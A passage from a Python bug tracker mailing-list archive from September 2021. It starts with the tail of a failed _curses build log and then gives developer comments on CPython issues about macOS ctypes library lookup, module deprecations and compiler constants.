/local/home/senthilx/cpython/Modules/_cursesmodule.c: In function ?_curses_init_pair_impl?: /local/home/senthilx/cpython/Modules/_cursesmodule.c:148:41: error: implicit declaration of function ?init_extended_pair?; did you mean ?use_extended_names?? [-Werror=implicit-function-declaration] #define _CURSES_INIT_PAIR_FUNC init_extended_pair ^ /local/home/senthilx/cpython/Modules/_cursesmodule.c:3222:9: note: in expansion of macro ?_CURSES_INIT_PAIR_FUNC? if (_CURSES_INIT_PAIR_FUNC(pair_number, fg, bg) == ERR) { ^~~~~~~~~~~~~~~~~~~~~~ /local/home/senthilx/cpython/Modules/_cursesmodule.c: In function ?_curses_pair_content_impl?: /local/home/senthilx/cpython/Modules/_cursesmodule.c:150:41: error: implicit declaration of function ?extended_pair_content?; did you mean ?_curses_pair_content?? [-Werror=implicit-function-declaration] #define _CURSES_PAIR_CONTENT_FUNC extended_pair_content ^ /local/home/senthilx/cpython/Modules/_cursesmodule.c:3868:9: note: in expansion of macro ?_CURSES_PAIR_CONTENT_FUNC? if (_CURSES_PAIR_CONTENT_FUNC(pair_number, &f, &b) == ERR) { ^~~~~~~~~~~~~~~~~~~~~~~~~ cc1: some warnings being treated as errors building '_curses_panel' extension gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -DHAVE_NCURSESW=1 -I/usr/include/ncursesw -I./Include -I. -I/usr/local/include -I/local/home/senthilx/cpython/Include -I/local/home/senthilx/cpython -c /local/home/senthilx/cpython/Modules/_curses_panel.c -o build/temp.linux-x86_64-3.11/local/home/senthilx/cpython/Modules/_curses_panel.o gcc -pthread -shared build/temp.linux-x86_64-3.11/local/home/senthilx/cpython/Modules/_curses_panel.o -L/usr/local/lib -lpanelw -lncursesw -o build/lib.linux-x86_64-3.11/_curses_panel.cpython-311-x86_64-linux-gnu.so *** WARNING: renaming "_curses_panel" since importing it failed: No module named '_curses' The following modules found by detect_modules() in setup.py, have been built by the Makefile instead, as configured by the Setup files: _abc pwd time Failed to build these modules: _curses Following modules built successfully but were removed because they could not be imported: _curses_panel running build_scripts copying and adjusting /local/home/senthilx/cpython/Tools/scripts/pydoc3 -> build/scripts-3.11 copying and adjusting /local/home/senthilx/cpython/Tools/scripts/idle3 -> build/scripts-3.11 copying and adjusting /local/home/senthilx/cpython/Tools/scripts/2to3 -> build/scripts-3.11 changing mode of build/scripts-3.11/pydoc3 from 644 to 755 changing mode of build/scripts-3.11/idle3 from 644 to 755 changing mode of build/scripts-3.11/2to3 from 644 to 755 renaming build/scripts-3.11/pydoc3 to build/scripts-3.11/pydoc3.11 renaming build/scripts-3.11/idle3 to build/scripts-3.11/idle3.11 renaming build/scripts-3.11/2to3 to build/scripts-3.11/2to3-3.11 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 23:15:42 2021 From: report at bugs.python.org (Gregory Szorc) Date: Thu, 02 Sep 2021 03:15:42 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630552542.94.0.375767400946.issue44689@roundup.psfhosted.org> Gregory Szorc added the comment: Oh, this might be my custom Modules file not passing the HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH define properly. I suspect I was working around this bug before by disabling the dyld bits. Sorry for the noise! (I should have reproduced with CPython's build system.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 23:42:45 2021 From: report at bugs.python.org (Gregory Szorc) Date: Thu, 02 Sep 2021 03:42:45 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630554164.99.0.979891152003.issue44689@roundup.psfhosted.org> Gregory Szorc added the comment: I spoke too soon: you can reproduce this with CPython's build system and I think this is a legit regression. I think the function sniffing logic is subtly wrong. Here is the logic as written: #ifdef __APPLE__ #ifdef HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH #define HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH_RUNTIME \ __builtin_available(macOS 11.0, iOS 14.0, tvOS 14.0, watchOS 7.0, *) #else static bool (*_dyld_shared_cache_contains_path)(const char *path); #define HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH_RUNTIME \ _dyld_shared_cache_contains_path != NULL #endif #endif The fundamental problem is that HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH comes from configure. Configure is using the target settings to probe for function presence. If I set the deployment target to 10.9, it says `checking for _dyld_shared_cache_contains_path... no`. But if I set the deployment target to 11.0, it says `checking for _dyld_shared_cache_contains_path... yes`. Because we may be targeting a macOS without the function, the function appears as not available to configure. It may exist in the SDK, but it is masked behind availability checks for the test compile. The logic as written assumes that !HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH means the SDK doesn't contain the function at all. This just isn't true for SDKs >= 11.0. If you look at posixmodule.c, the logic for checking for function availability is typically this pattern: #ifdef __APPLE__ #ifdef HAVE_BUILTIN_AVAILABLE #define HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH_RUNTIME \ __builtin_available(macOS 11.0, iOS 14.0, tvOS 14.0, watchOS 7.0, *) #else #ifdef HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH #define HAVE_DYLD_SHARED_CACHE_CONTAINS_PATH_RUNTIME (_dyld_shared_cache_contains_path != NULL) #endif #endif #endif This other pattern also reveals another regression with this patch: __builtin_available() may not be available on older compilers. See issue42692. I'm unsure what "older compilers" actually is. But someone is bound to complain about this (if they haven't already). Do these build regressions warrant an unplanned 3.9.8 release? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:29:48 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 02 Sep 2021 05:29:48 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630560588.87.0.255479080703.issue45056@roundup.psfhosted.org> Change by Inada Naoki : Added file: https://bugs.python.org/file50252/dump_unused_consts.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:30:08 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 02 Sep 2021 05:30:08 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630560608.43.0.422835001895.issue45056@roundup.psfhosted.org> Change by Inada Naoki : Added file: https://bugs.python.org/file50253/unused_39.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:30:28 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 02 Sep 2021 05:30:28 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630560628.37.0.512290396791.issue45056@roundup.psfhosted.org> Change by Inada Naoki : Added file: https://bugs.python.org/file50254/unused_310rc1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:30:50 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 02 Sep 2021 05:30:50 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630560650.41.0.194380668731.issue45056@roundup.psfhosted.org> Change by Inada Naoki : Added file: https://bugs.python.org/file50255/unused_trimmed.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:50:55 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 02 Sep 2021 05:50:55 +0000 Subject: [issue45080] functools._HashedSeq implements __hash__ but not __eq__ In-Reply-To: <1630515267.9.0.090925115847.issue45080@roundup.psfhosted.org> Message-ID: <1630561855.95.0.0262632634614.issue45080@roundup.psfhosted.org> Serhiy Storchaka added the comment: 1. self.hashvalue == other.hashvalue is not enough. Different tuples can have the same hash value, so you steel need to compare their context. 2. _HashedSeq is only used as a key in a dictionary. When you look up a key in dictionary, it compares hashes first. __eq__ is only called when hashes match. ---------- nosy: +rhettinger, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 01:58:31 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 02 Sep 2021 05:58:31 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630562311.52.0.289111789587.issue44689@roundup.psfhosted.org> Ned Deily added the comment: I don't think we have ever claimed to support building on an older system with a newer SDK, as in building on 10.15 with an 11 SDK. I am sure there have been problems with trying to do this in the past for some releases. It *may* work but there are no guarantees. If you want to build on an older system you should use the SDK for that system even if a newer version of Xcode / Command Line Tools is released that provides the newer SDK. That said, I have no objection to trying to fix this issue but I think we should avoid claiming to support such configurations and I don't see this issue as needing to make a new release. I am willing to be convinced otherwise :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 02:17:56 2021 From: report at bugs.python.org (Shrikant Narasimhan) Date: Thu, 02 Sep 2021 06:17:56 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630563476.05.0.355074480762.issue45081@roundup.psfhosted.org> Change by Shrikant Narasimhan : ---------- nosy: +shrik _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 02:44:53 2021 From: report at bugs.python.org (Gregory Szorc) Date: Thu, 02 Sep 2021 06:44:53 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1630562311.52.0.289111789587.issue44689@roundup.psfhosted.org> Message-ID: <9C77ACC0-2607-48EE-88E1-B5517F0C0E5D@gmail.com> Gregory Szorc added the comment: > On Sep 1, 2021, at 22:58, Ned Deily wrote: > > I don't think we have ever claimed to support building on an older system with a newer SDK, as in building on 10.15 with an 11 SDK. My initial report was from a 10.15 Intel machine in GitHub Actions. My comment a few hours ago was from an 11.3 M1 cross-compiling to x86_64 and targeting 10.9 from a 11.X SDK. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 04:19:59 2021 From: report at bugs.python.org (Inada Naoki) Date: Thu, 02 Sep 2021 08:19:59 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630570799.64.0.843650059614.issue45082@roundup.psfhosted.org> Inada Naoki added the comment: I'm +0 to this. Since this alias is not a big maintenance burden, I think we can use deprecation period longer than minimum 2 releases. In sdist files of the top5000 pypi packages, I found 18 packages using it including false positive (e.g. mypi just have it in pyi file). ``` $ rg -z -w c_buffer *.gz *.zip *.bz2 *.tgz Binary file Django-3.2.6.tar.gz matches (found "\u{0}" byte around offset 14) Binary file Wand-0.6.7.tar.gz matches (found "\u{0}" byte around offset 14) Binary file av-8.0.3.tar.gz matches (found "\u{0}" byte around offset 9) Binary file eth-hash-0.3.1.tar.gz matches (found "\u{0}" byte around offset 14) Binary file eth-account-0.5.5.tar.gz matches (found "\u{0}" byte around offset 14) Binary file eth_abi-2.1.1.tar.gz matches (found "\u{0}" byte around offset 14) Binary file eth-utils-1.10.0.tar.gz matches (found "\u{0}" byte around offset 14) Binary file grpcio-1.39.0.tar.gz matches (found "\u{0}" byte around offset 14) Binary file grpcio-tools-1.39.0.tar.gz matches (found "\u{0}" byte around offset 20) Binary file hexbytes-0.2.2.tar.gz matches (found "\u{0}" byte around offset 14) Binary file jedi-0.18.0.tar.gz matches (found "\u{0}" byte around offset 14) Binary file lxml-4.6.3.tar.gz matches (found "\u{0}" byte around offset 14) Binary file mypy-0.910.tar.gz matches (found "\u{0}" byte around offset 11) Binary file os_sys-2.1.4.tar.gz matches (found "\u{0}" byte around offset 13) Binary file playsound-1.3.0.tar.gz matches (found "\u{0}" byte around offset 14) Binary file pyarrow-5.0.0.tar.gz matches (found "\u{0}" byte around offset 14) Binary file pylint-2.10.2.tar.gz matches (found "\u{0}" byte around offset 14) Binary file pytype-2021.8.24.tar.gz matches (found "\u{0}" byte around offset 17) ``` ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 04:29:14 2021 From: report at bugs.python.org (=?utf-8?q?D=C3=A1vid_Nemeskey?=) Date: Thu, 02 Sep 2021 08:29:14 +0000 Subject: [issue39816] More descriptive error message than "too many values to unpack" In-Reply-To: <1583091348.39.0.0422747327362.issue39816@roundup.psfhosted.org> Message-ID: <1630571354.16.0.254208112789.issue39816@roundup.psfhosted.org> D?vid Nemeskey added the comment: +1. When starting out, I always got confused about this message ("too many values to unpack? Does that mean my function returned too many items, which could not be unpacked into the expected number? Oh no, the opposite..."). Also, please note that the stack trace usually shows the offending line (e.g. x, y, z = fn(...)), so it is easy to see how many values are _expected_. It would be even more helpful to (also) show how many we _got_. ---------- nosy: +nemeskeyd _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 04:32:43 2021 From: report at bugs.python.org (Leopold Talirz) Date: Thu, 02 Sep 2021 08:32:43 +0000 Subject: [issue45080] functools._HashedSeq implements __hash__ but not __eq__ In-Reply-To: <1630515267.9.0.090925115847.issue45080@roundup.psfhosted.org> Message-ID: <1630571563.18.0.611451544619.issue45080@roundup.psfhosted.org> Leopold Talirz added the comment: Thanks a lot for the clarification, I get it now (I think). > 2. _HashedSeq is only used as a key in a dictionary. When you look up a key in dictionary, it compares hashes first. __eq__ is only called when hashes match. I was looking at the docs [1] and [2] and didn't come across this. For me, this explanation of how __hash__ and __eq__ are used in the LRU cache would have been helpful to read in [1], but of course there is a tradeoff in how long to make docstrings. If it is already explained somewhere else in the docs, linking to that place from [1] could be useful. [1] https://docs.python.org/3/library/functools.html#functools.lru_cache [2] https://docs.python.org/3/reference/datamodel.html#object.__hash__ ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 04:33:07 2021 From: report at bugs.python.org (Rainald Koch) Date: Thu, 02 Sep 2021 08:33:07 +0000 Subject: [issue33426] [doc] Behavior of os.path.join does not match documentation In-Reply-To: <1525459146.45.0.682650639539.issue33426@psf.upfronthosting.co.za> Message-ID: <1630571587.15.0.850546144234.issue33426@roundup.psfhosted.org> Rainald Koch added the comment: Minimal changes that would largely reduce the likelihood of being misunderstood: Remove "intelligently" or replace "following" by "added after". ---------- nosy: +Rainald Koch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 04:52:39 2021 From: report at bugs.python.org (Christian Tismer) Date: Thu, 02 Sep 2021 08:52:39 +0000 Subject: [issue45061] [C API] Detect refcount bugs on True/False in C extensions In-Reply-To: <1630415859.84.0.961228000434.issue45061@roundup.psfhosted.org> Message-ID: <1630572759.26.0.306291334144.issue45061@roundup.psfhosted.org> Christian Tismer added the comment: > Apart None, True and False, do you know other objects which must not be deleted? Yes, what I can think of is the immutable empty tuple singleton which is such a candidate to be forgotten. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 05:45:45 2021 From: report at bugs.python.org (Yurii Karabas) Date: Thu, 02 Sep 2021 09:45:45 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630575945.79.0.676657679311.issue45081@roundup.psfhosted.org> Change by Yurii Karabas <1998uriyyo at gmail.com>: ---------- keywords: +patch nosy: +uriyyo nosy_count: 4.0 -> 5.0 pull_requests: +26562 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28121 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 05:46:51 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 09:46:51 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630576011.24.0.683185847166.issue40360@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset d589a7e7eb56196c05337d37417479375878b127 by Victor Stinner in branch 'main': bpo-40360: Deprecate the lib2to3 package (GH-28116) https://github.com/python/cpython/commit/d589a7e7eb56196c05337d37417479375878b127 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 05:57:13 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 09:57:13 +0000 Subject: [issue22764] object lifetime fragility in unittest tests In-Reply-To: <1414663065.15.0.782385301612.issue22764@psf.upfronthosting.co.za> Message-ID: <1630576633.01.0.137678590752.issue22764@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:00:38 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:00:38 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630576838.92.0.664747046904.issue40360@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- pull_requests: +26563 pull_request: https://github.com/python/cpython/pull/28122 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:04:40 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:04:40 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630577080.89.0.176690159574.issue40360@roundup.psfhosted.org> ?ukasz Langa added the comment: > We can add to the 3.10 docs that it is deprecated without any code change. This was already the case: https://docs.python.org/3/library/2to3.html#module-lib2to3 The wording was a bit clumsy so I rephrased in GH-28122. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:10:20 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:10:20 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630577420.01.0.36696465685.issue45085@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset a8066087054417885db0a2dbdce2ddb2ac498247 by Victor Stinner in branch 'main': bpo-45085: Remove the binhex module (GH-28117) https://github.com/python/cpython/commit/a8066087054417885db0a2dbdce2ddb2ac498247 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:21:19 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:21:19 +0000 Subject: [issue35190] doc: collections.abc.Sequence cannot be used to test whether a class provides a particular interface In-Reply-To: <1541688086.42.0.788709270274.issue35190@psf.upfronthosting.co.za> Message-ID: <1630578079.4.0.907704753781.issue35190@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy title: collections.abc.Sequence cannot be used to test whether a class provides a particular interface (doc issue) -> doc: collections.abc.Sequence cannot be used to test whether a class provides a particular interface versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:21:21 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:21:21 +0000 Subject: [issue23864] doc: issubclass without registration only works for "one-trick pony" collections ABCs. In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za> Message-ID: <1630578081.78.0.141682071862.issue23864@roundup.psfhosted.org> Irit Katriel added the comment: See also issue35190. ---------- keywords: +easy -patch nosy: +iritkatriel title: issubclass without registration only works for "one-trick pony" collections ABCs. -> doc: issubclass without registration only works for "one-trick pony" collections ABCs. type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:24:56 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:24:56 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630578296.99.0.944123235976.issue45085@roundup.psfhosted.org> ?ukasz Langa added the comment: Agreed with Victor. I'd go with the "traditional" flow of PendingDeprecationWarning in 3.9, DeprecationWarning in 3.10, and removal in 3.11; but since we kept DeprecationWarning for two releases, it's pretty much the same and fine to remove it now. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:27:59 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:27:59 +0000 Subject: [issue32766] 4.7.7. Function Annotations In-Reply-To: <1517767044.74.0.467229070634.issue32766@psf.upfronthosting.co.za> Message-ID: <1630578479.63.0.143521863359.issue32766@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Mistaken notion in tutorial _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:30:07 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:30:07 +0000 Subject: [issue42255] webbrowser.MacOSX is unused, untested and undocumented In-Reply-To: <1604430901.68.0.981211049507.issue42255@roundup.psfhosted.org> Message-ID: <1630578607.65.0.979575314739.issue42255@roundup.psfhosted.org> ?ukasz Langa added the comment: Dong-hee Na, you can't remove it in 3.12 per PEP 387: > Unless it is going through the deprecation process below, the behavior of an API must not change in an incompatible fashion between any two consecutive releases. Python's yearly release process (PEP 602) means that the deprecation period must last at least two years. and: > Wait for the warning to appear in at least two minor Python versions of the same major version. ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:33:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:33:31 +0000 Subject: [issue41367] Popen Timeout raised on 3.6 but not on 3.8 In-Reply-To: <1595407379.06.0.696065311763.issue41367@roundup.psfhosted.org> Message-ID: <1630578811.06.0.322936088175.issue41367@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained, so even if there was a bug in 3.6 that was fixed in 3.8 we aren't going to be able to do anything about it. If nobody objects I will close this issue soon. ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:42:44 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:42:44 +0000 Subject: [issue35693] test_httpservers fails In-Reply-To: <1547010094.25.0.275369600875.issue35693@roundup.psfhosted.org> Message-ID: <1630579364.4.0.449316440142.issue35693@roundup.psfhosted.org> Irit Katriel added the comment: Closing as 3.7 is no longer maintained and this problem was not reproduced in 3.8. ---------- nosy: +iritkatriel resolution: -> out of date stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:55:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 10:55:55 +0000 Subject: [issue44226] Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module In-Reply-To: <1621882516.37.0.78116563301.issue44226@roundup.psfhosted.org> Message-ID: <1630580155.57.0.419476844036.issue44226@roundup.psfhosted.org> Irit Katriel added the comment: Closing again. In addition to what Eric said, both 2.7 and 3.6 are no longer maintained so you will need to reproduce the issue on a current version (>= 3.8) for any of us to investigate it. ---------- nosy: +iritkatriel resolution: remind -> third party status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 06:58:04 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 10:58:04 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630580284.89.0.381369535816.issue37330@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 19ba2122ac7313ac29207360cfa864a275b9489e by Victor Stinner in branch 'main': bpo-37330: open() no longer accept 'U' in file mode (GH-28118) https://github.com/python/cpython/commit/19ba2122ac7313ac29207360cfa864a275b9489e ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 07:02:10 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 11:02:10 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630580530.16.0.517043757344.issue45056@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 55c4a92fc1abfe388335071f1d64b3addfa5793f by Inada Naoki in branch 'main': bpo-45056: Remove trailing unused constants from co_consts (GH-28109) https://github.com/python/cpython/commit/55c4a92fc1abfe388335071f1d64b3addfa5793f ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 07:02:41 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 11:02:41 +0000 Subject: [issue39241] Popen of python3.6 hangs on os.read(errpipe_read, 50000) In-Reply-To: <1578360908.03.0.624419556785.issue39241@roundup.psfhosted.org> Message-ID: <1630580561.19.0.237081932837.issue39241@roundup.psfhosted.org> Irit Katriel added the comment: I'm closing this because 1. both 2.7 and 3.6 are no longer maintained 2. This is not an actual bug report (we don't know what the hanging code was doing) so there is no chance of reproducing it. If you are having problems with this in a current version (>= 3.8) please create a new issue with a reproducible example of failing code. If you need debugging assistance, python-list might be a more appropriate place than the bug tracker to ask for that. ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 07:16:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 11:16:54 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630581414.12.0.0794492485695.issue37330@roundup.psfhosted.org> STINNER Victor added the comment: Let's see how it goes. In the worst case, we have time before Python 3.11 final to revert it one more time. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 07:26:13 2021 From: report at bugs.python.org (Ken Jin) Date: Thu, 02 Sep 2021 11:26:13 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630581973.82.0.496743497739.issue45081@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj, lukasz.langa, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 07:49:41 2021 From: report at bugs.python.org (Laurent Lyaudet) Date: Thu, 02 Sep 2021 11:49:41 +0000 Subject: [issue34561] Replace list sorting merge_collapse()? In-Reply-To: <1535764924.6.0.56676864532.issue34561@psf.upfronthosting.co.za> Message-ID: <1630583381.45.0.559755416883.issue34561@roundup.psfhosted.org> Laurent Lyaudet added the comment: Thanks for the patch Tim. If I find a rival that stands against power sort, I'll tell you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 09:06:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 13:06:54 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630588014.5.0.258762097749.issue45083@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 10:03:38 2021 From: report at bugs.python.org (Charalampos Stratakis) Date: Thu, 02 Sep 2021 14:03:38 +0000 Subject: [issue45067] Failed to build _curses on CentOS 7 In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org> Message-ID: <1630591418.02.0.618968896898.issue45067@roundup.psfhosted.org> Charalampos Stratakis added the comment: You should use -lpaneltw instead of -lpanelw. See also: https://bugs.python.org/issue41981 ---------- nosy: +cstratak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 10:49:48 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 14:49:48 +0000 Subject: [issue45019] Freezing modules has manual steps but could be automated. In-Reply-To: <1630004779.62.0.284599538008.issue45019@roundup.psfhosted.org> Message-ID: <1630594188.37.0.271895863617.issue45019@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- nosy: +lukasz.langa nosy_count: 3.0 -> 4.0 pull_requests: +26565 pull_request: https://github.com/python/cpython/pull/28125 _______________________________________ Python tracker 